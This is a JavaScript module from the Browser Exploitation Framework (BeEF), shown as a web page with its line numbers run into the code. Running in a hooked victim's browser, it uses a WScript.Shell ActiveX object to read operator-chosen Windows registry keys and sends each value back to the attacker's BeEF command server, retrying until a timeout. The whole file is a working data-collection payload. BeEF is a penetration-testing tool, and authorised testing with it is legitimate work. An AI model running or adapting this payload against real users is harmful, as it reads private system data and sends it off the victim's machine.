Path: blob/master/modules/host/get_registry_keys/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var internal_counter = 0;9var timeout = 30;10var result;11var key_paths;1213function waituntilok() {14try {15var wsh = new ActiveXObject("WScript.Shell");16if (!wsh) throw("failed to create registry object");17else {18for (var i=0; i<key_paths.length; i++) {19var key_path = key_paths[i];20if (!key_path) continue;21try {22var key_value = wsh.RegRead(key_path);23result = key_path+": "+key_value;24} catch (e) {25result = key_path+": failed to retrieve key value";26}27beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);28}29}30return;31} catch (e) {32internal_counter++;33if (internal_counter > timeout) {34beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds');35return;36}37setTimeout(function() {waituntilok()},1000);38}39}4041try {42key_paths = "<%= @key_paths.gsub!(/[\n|\r\n]+/, "|BEEFDELIMITER|").gsub!(/\\/, "\\\\\\") %>".split(/\|BEEFDELIMITER\|/);43setTimeout(function() {waituntilok()},5000);44} catch (e) {45beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=malformed registry keys were supplied');46}4748});49505152